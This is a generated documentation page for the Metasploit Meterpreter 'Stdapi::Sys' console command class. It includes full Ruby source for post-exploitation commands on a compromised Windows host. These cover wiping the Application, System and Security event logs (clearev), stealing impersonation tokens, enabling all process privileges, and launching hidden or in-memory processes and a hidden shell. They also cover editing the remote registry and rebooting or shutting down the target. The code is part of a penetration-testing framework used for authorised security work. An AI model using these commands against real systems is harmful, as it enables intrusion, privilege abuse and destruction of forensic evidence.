Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Sys
- Inherits:
-
Object
- Object
- Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Sys
- Defined in:
- lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
Overview
The system level portion of the standard API extension.
Constant Summary collapse
- Klass =
Console::CommandDispatcher::Stdapi::Sys
- @@execute_opts =
Options used by the ‘execute’ command.
Rex::Parser::Arguments.new( "-a" => [ true, "The arguments to pass to the command." ], "-c" => [ false, "Channelized I/O (required for interaction)." ], "-f" => [ true, "The executable command to run." ], "-h" => [ false, "Help menu." ], "-H" => [ false, "Create the process hidden from view." ], "-i" => [ false, "Interact with the process after creating it." ], "-m" => [ false, "Execute from memory." ], "-d" => [ true, "The 'dummy' executable to launch when using -m." ], "-t" => [ false, "Execute process with currently impersonated thread token"], "-k" => [ false, "Execute process on the meterpreters current desktop" ], "-s" => [ true, "Execute process in a given session as the session user" ])
- @@reg_opts =
Options used by the ‘reg’ command.
Rex::Parser::Arguments.new( "-d" => [ true, "The data to store in the registry value." ], "-h" => [ true, "Help menu." ], "-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ], "-t" => [ true, "The registry value type (E.g. REG_SZ)." ], "-v" => [ true, "The registry value name (E.g. Stuff)." ])
Instance Attribute Summary
Attributes included from Ui::Text::DispatcherShell::CommandDispatcher
Instance Method Summary collapse
-
#cmd_clearev(*args) ⇒ Object
Clears the event log.
-
#cmd_drop_token(*args) ⇒ Object
Drops any assumed token.
-
#cmd_execute(*args) ⇒ Object
Executes a command with some options.
-
#cmd_getpid(*args) ⇒ Object
Gets the process identifier that meterpreter is running in on the remote machine.
-
#cmd_getprivs(*args) ⇒ Object
Obtains as many privileges as possible on the target machine.
- #cmd_getprivs_help ⇒ Object
-
#cmd_getuid(*args) ⇒ Object
Displays the user that the server is running as.
-
#cmd_kill(*args) ⇒ Object
Kills one or more processes.
-
#cmd_ps(*args) ⇒ Object
Lists running processes.
-
#cmd_reboot(*args) ⇒ Object
Reboots the remote computer.
-
#cmd_reg(*args) ⇒ Object
Modifies and otherwise interacts with the registry on the remote computer by allowing the client to enumerate, open, modify, and delete registry keys and values.
-
#cmd_rev2self(*args) ⇒ Object
Calls RevertToSelf() on the remote machine.
-
#cmd_shell(*args) ⇒ Object
Drop into a system shell as specified by %COMSPEC%.
-
#cmd_shutdown(*args) ⇒ Object
Shuts down the remote computer.
-
#cmd_steal_token(*args) ⇒ Object
Tries to steal the primary token from the target process.
-
#cmd_sysinfo(*args) ⇒ Object
Displays information about the remote system.
-
#commands ⇒ Object
List of supported commands.
-
#name ⇒ Object
Name for this dispatcher.
Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash
Methods included from Ui::Text::DispatcherShell::CommandDispatcher
#cmd_help, #cmd_help_tabs, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt
Instance Method Details
#cmd_clearev(*args) ⇒ Object
Clears the event log
180 181 182 183 184 185 186 187 188 189 190 191 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 180 def cmd_clearev(*args) logs = ['Application', 'System', 'Security'] logs << args logs.flatten! logs.each do |name| log = client.sys.eventlog.open(name) print_status("Wiping #{log.length} records from #{name}...") log.clear end end |
#cmd_drop_token(*args) ⇒ Object
Drops any assumed token.
465 466 467 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 465 def cmd_drop_token(*args) print_line("Relinquished token, now running as: " + client.sys.config.drop_token()) end |
#cmd_execute(*args) ⇒ Object
Executes a command with some options.
78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 78 def cmd_execute(*args) if (args.length == 0) args.unshift("-h") end session = nil interact = false desktop = false channelized = nil hidden = nil from_mem = false dummy_exec = "cmd" cmd_args = nil cmd_exec = nil use_thread_token = false @@execute_opts.parse(args) { |opt, idx, val| case opt when "-a" cmd_args = val when "-c" channelized = true when "-f" cmd_exec = val when "-H" hidden = true when "-m" from_mem = true when "-d" dummy_exec = val when "-k" desktop = true when "-h" print( "Usage: execute -f file [options]\n\n" + "Executes a command on the remote machine.\n" + @@execute_opts.usage) return true when "-i" channelized = true interact = true when "-t" use_thread_token = true when "-s" session = val.to_i end } # Did we at least get an executable? if (cmd_exec == nil) print_error("You must specify an executable file with -f") return true end # Execute it p = client.sys.process.execute(cmd_exec, cmd_args, 'Channelized' => channelized, 'Desktop' => desktop, 'Session' => session, 'Hidden' => hidden, 'InMemory' => (from_mem) ? dummy_exec : nil, 'UseThreadToken' => use_thread_token) print_line("Process #{p.pid} created.") print_line("Channel #{p.channel.cid} created.") if (p.channel) if (interact and p.channel) shell.interact_with_channel(p.channel) end end |
#cmd_getpid(*args) ⇒ Object
Gets the process identifier that meterpreter is running in on the remote machine.
164 165 166 167 168 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 164 def cmd_getpid(*args) print_line("Current pid: #{client.sys.process.getpid}") return true end |
#cmd_getprivs(*args) ⇒ Object
Obtains as many privileges as possible on the target machine.
438 439 440 441 442 443 444 445 446 447 448 449 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 438 def cmd_getprivs(*args) if args.include? "-h" cmd_getprivs_help end print_line("=" * 60) print_line("Enabled Process Privileges") print_line("=" * 60) client.sys.config.getprivs.each do |priv| print_line(" #{priv}") end print_line("") end |
#cmd_getprivs_help ⇒ Object
424 425 426 427 428 429 430 431 432 433 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 424 def cmd_getprivs_help print_line "Usage: getprivs" print_line print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the" print_line "current process. Note that this only enables existing privs and does not change" print_line "users or tokens." print_line print_line "See also: steal_token, getsystem" print_line end |
#cmd_getuid(*args) ⇒ Object
Displays the user that the server is running as.
173 174 175 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 173 def cmd_getuid(*args) print_line("Server username: #{client.sys.config.getuid}") end |
#cmd_kill(*args) ⇒ Object
Kills one or more processes.
196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 196 def cmd_kill(*args) if (args.length == 0) print_line( "Usage: kill pid1 pid2 pid3 ...\n\n" + "Terminate one or more processes.") return true end print_line("Killing: #{args.join(", ")}") client.sys.process.kill(*(args.map { |x| x.to_i })) return true end |
#cmd_ps(*args) ⇒ Object
Lists running processes.
214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 214 def cmd_ps(*args) processes = client.sys.process.get_processes tbl = Rex::Ui::Text::Table.new( 'Header' => "Process list", 'Indent' => 1, 'Columns' => [ "PID", "Name", "Arch", "Session", "User", "Path" ]) processes.each { |ent| session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s arch = ent['arch'] # for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64' if( arch == ARCH_X86_64 ) arch = "x64" end tbl << [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ] } if (processes.length == 0) print_line("No running processes were found.") else print("\n" + tbl.to_s + "\n") end return true end |
#cmd_reboot(*args) ⇒ Object
Reboots the remote computer.
254 255 256 257 258 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 254 def cmd_reboot(*args) print_line("Rebooting...") client.sys.power.reboot end |
#cmd_reg(*args) ⇒ Object
Modifies and otherwise interacts with the registry on the remote computer by allowing the client to enumerate, open, modify, and delete registry keys and values.
265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 265 def cmd_reg(*args) # Extract the command, if any cmd = args.shift if (args.length == 0) args.unshift("-h") end # Initiailze vars key = nil value = nil data = nil type = nil @@reg_opts.parse(args) { |opt, idx, val| case opt when "-h" print_line( "Usage: reg [command] [options]\n\n" + "Interact with the target machine's registry.\n" + @@reg_opts.usage + "COMMANDS:\n\n" + " enumkey Enumerate the supplied registry key [-k <key>]\n" + " createkey Create the supplied registry key [-k <key>]\n" + " deletekey Delete the supplied registry key [-k <key>]\n" + " queryclass Queries the class of the supplied key [-k <key>]\n" + " setval Set a registry value [-k <key> -v <val> -d <data>]\n" + " deleteval Delete the supplied registry value [-k <key> -v <val>]\n" + " queryval Queries the data contents of a value [-k <key> -v <val>]\n\n") return false when "-k" key = val when "-v" value = val when "-t" type = val when "-d" data = val end } # All commands require a key. if (key == nil) print_error("You must specify a key path (-k)") return false end # Split the key into its parts root_key, base_key = client.sys.registry.splitkey(key) begin # Rock it case cmd when "enumkey" open_key = client.sys.registry.open_key(root_key, base_key) print_line( "Enumerating: #{key}\n") keys = open_key.enum_key vals = open_key.enum_value if (keys.length > 0) print_line(" Keys (#{keys.length}):\n") keys.each { |subkey| print_line("\t#{subkey}") } print_line end if (vals.length > 0) print_line(" Values (#{vals.length}):\n") vals.each { |val| print_line("\t#{val.name}") } print_line end if (vals.length == 0 and keys.length == 0) print_line("No children.") end when "createkey" open_key = client.sys.registry.create_key(root_key, base_key) print_line("Successfully created key: #{key}") when "deletekey" client.sys.registry.delete_key(root_key, base_key) print_line("Successfully deleted key: #{key}") when "setval" if (value == nil or data == nil) print_error("You must specify both a value name and data (-v, -d).") return false end type = "REG_SZ" if (type == nil) open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) open_key.set_value(value, client.sys.registry.type2str(type), data) print_line("Successful set #{value}.") when "deleteval" if (value == nil) print_error("You must specify a value name (-v).") return false end open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) open_key.delete_value(value) print_line("Successfully deleted #{value}.") when "queryval" if (value == nil) print_error("You must specify a value name (-v).") return false end open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) v = open_key.query_value(value) print( "Key: #{key}\n" + "Name: #{v.name}\n" + "Type: #{v.type_to_s}\n" + "Data: #{v.data}\n") when "queryclass" open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) data = open_key.query_class print("Data: #{data}\n") else print_error("Invalid command supplied: #{cmd}") end ensure open_key.close if (open_key) end end |
#cmd_rev2self(*args) ⇒ Object
Calls RevertToSelf() on the remote machine.
420 421 422 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 420 def cmd_rev2self(*args) client.sys.config.revert_to_self end |
#cmd_shell(*args) ⇒ Object
Drop into a system shell as specified by %COMSPEC%
153 154 155 156 157 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 153 def cmd_shell(*args) path = client.fs.file.("%COMSPEC%") path = (path and not path.empty?) ? path : "cmd.exe" cmd_execute("-f", path, "-c", "-H", "-i", "-t") end |
#cmd_shutdown(*args) ⇒ Object
Shuts down the remote computer.
488 489 490 491 492 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 488 def cmd_shutdown(*args) print_line("Shutting down...") client.sys.power.shutdown end |
#cmd_steal_token(*args) ⇒ Object
Tries to steal the primary token from the target process.
454 455 456 457 458 459 460 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 454 def cmd_steal_token(*args) if(args.length != 1 or args[0] == "-h") print_error("Usage: steal_token [pid]") return end print_line("Stolen token with username: " + client.sys.config.steal_token(args[0])) end |
#cmd_sysinfo(*args) ⇒ Object
Displays information about the remote system.
472 473 474 475 476 477 478 479 480 481 482 483 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 472 def cmd_sysinfo(*args) info = client.sys.config.sysinfo width = "Meterpreter".length info.keys.each { |k| width = k.length if k.length > width and info[k] } info.each_pair do |key, value| print_line("#{key.ljust(width+1)}: #{value}") if value end print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}") return true end |
#commands ⇒ Object
List of supported commands.
48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 48 def commands { "clearev" => "Clear the event log", "execute" => "Execute a command", "getpid" => "Get the current process identifier", "getuid" => "Get the user that the server is running as", "getprivs" => "Attempt to enable all privileges available to the current process", "kill" => "Terminate a process", "ps" => "List running processes", "reboot" => "Reboots the remote computer", "reg" => "Modify and interact with the remote registry", "rev2self" => "Calls RevertToSelf() on the remote machine", "sysinfo" => "Gets information about the remote system, such as OS", "shell" => "Drop into a system command shell", "shutdown" => "Shuts down the remote computer", "steal_token" => "Attempts to steal an impersonation token from the target process", "drop_token" => "Relinquishes any active impersonation token.", } end |
#name ⇒ Object
Name for this dispatcher.
71 72 73 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 71 def name "Stdapi: System" end |